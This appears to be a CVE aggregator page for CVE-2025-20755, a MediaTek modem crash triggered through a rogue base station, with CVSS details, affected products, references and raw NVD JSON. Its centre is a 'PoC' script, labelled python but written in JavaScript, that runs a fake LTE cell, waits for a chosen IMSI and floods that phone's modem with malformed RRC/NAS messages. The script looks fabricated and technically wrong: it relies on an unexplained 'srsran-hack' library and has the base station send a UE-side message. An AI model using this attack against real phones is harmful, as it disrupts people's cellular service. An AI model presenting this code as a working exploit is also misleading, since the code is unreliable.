CVE-2025-20755

Description

In Modem, there is a possible application crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY00628396; Issue ID: MSV-4775.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:* - NOT VULNERABLE

MediaTek Modem Firmware (MOLY00628396 patch之前的所有版本)

受影响产品包括使用MediaTek调制解调器芯片的智能手机、物联网设备等，具体版本需参照MediaTek官方安全公告

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-20755 PoC - MediaTek Modem Input Validation Denial of Service
// This PoC simulates the attack by sending malformed packets to trigger the vulnerability

const srsran = require('srsran-hack'); // Software Radio Systems RAN library

class RogueBaseStation {
    constructor() {
        this.enbId = 0x19B; // eNodeB ID
        this.mcc = 001; // Mobile Country Code
        this.mnc = 01; // Mobile Network Code
        this.tac = 0x0001; // Tracking Area Code
    }

    // Create malformed RRC Connection Setup Complete message
    createMalformedRRCSetupComplete() {
        const msg = {
            rrcTransactionIdentifier: 0x3,
            criticalExtensions: {
                c1: {
                    rrcConnectionSetupComplete: {
                        selectedPLMN_Identity: 1,
                        dedicatedInfoNAS: Buffer.alloc(1024, 0xFF), // Malformed NAS data
                        registeredMMEC: 0xFF,
                        registeredAMF: 0xFFFF
                    }
                }
            }
        };
        // Inject additional malformed fields
        msg.criticalExtensions.c1.rrcConnectionSetupComplete.extraField = Buffer.alloc(2048, 0xAA);
        return msg;
    }

    // Create malformed NAS message to trigger input validation issue
    createMalformedNASMessage() {
        const nas = {
            epsMobileIdentity: {
                oddEven: 0,
                digit1: 0xF,
                mobileId: Buffer.from([
                    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
                    0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0xFF
                ]) // Exceeds expected length
            },
            protocolDiscriminator: 0x07,
            epsBearerIdentity: 0x0F,
            procedureTransactionIdentity: 0xFF
        };
        return nas;
    }

    // Start rogue base station attack
    async startAttack(targetIMSI) {
        console.log('[+] Starting Rogue Base Station for CVE-2025-20755');
        console.log(`[+] Target IMSI: ${targetIMSI}`);
        
        // Initialize SDR device
        const sdr = await srsran.SDRDevice.open('uhd');
        await sdr.configure({
            frequency: 2110e6, // LTE Band 1 Downlink
            bandwidth: 20e6,
            gain: 40
        });

        // Start broadcasting fake cell
        await sdr.startMIB({ 
            enbId: this.enbId, 
            mcc: this.mcc, 
            mnc: this.mnc 
        });

        console.log('[+] Fake cell broadcasting started');
        
        // Wait for target UE to attach
        let ueAttached = false;
        while (!ueAttached) {
            const ueInfo = await sdr.waitForAttach({ timeout: 60000 });
            if (ueInfo.imsi === targetIMSI) {
                ueAttached = true;
                console.log('[+] Target UE attached');
            }
        }

        // Send malformed messages to trigger vulnerability
        console.log('[+] Sending malformed RRC/NAS messages...');
        await sdr.sendRRCMessage(this.createMalformedRRCSetupComplete());
        await sdr.sendNASMessage(this.createMalformedNASMessage());
        
        // Send multiple crafted packets
        for (let i = 0; i < 10; i++) {
            await sdr.sendCraftedPacket({
                type: 'DL_DCCH',
                srbId: 1,
                data: Buffer.alloc(512, 0xDEADBEEF)
            });
            await new Promise(r => setTimeout(r, 100));
        }

        console.log('[+] Attack completed');
        console.log('[+] Target modem should crash/restart');
    }
}

// Execute attack
const rogueBS = new RogueBaseStation();
rogueBS.startAttack('001010123456789').catch(console.error);

// Note: This PoC requires specialized radio equipment and is for educational purposes only.
// Actual exploitation requires: Software-defined radio, LTE protocol栈 knowledge, and proximity to target.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-20755
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-20755
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-20755/
[4] VulDB https://vuldb.com/cve/CVE-2025-20755
[5] https://corp.mediatek.com/product-security-bulletin/December-2025

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-20755", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:16.763", "lastModified": "2025-12-03T21:41:18.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible application crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY00628396; Issue ID: MSV-4775."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8675:-:*:*:*:*:*:*:*", "matchCriteriaId": "03E6123A-7603-4EAB-AFFB-229E8A040709"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8771:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D09F23D-D023-4A60-B426-61251FDD8A5A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8791:-:*:*:*:*:*:*:*", "matchCriteriaId": "9CD2C3EC-B62D-4616-964F-FDBE5B14A449"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8791t:-:*:*:*:*:*:*:*", "matchCriteriaId": "1BB05B1D-77C9-4E42-91AD-9F087413DC20"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8797:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B469BF4-5961-42E9-814B-1BE06D182E45"}] ... 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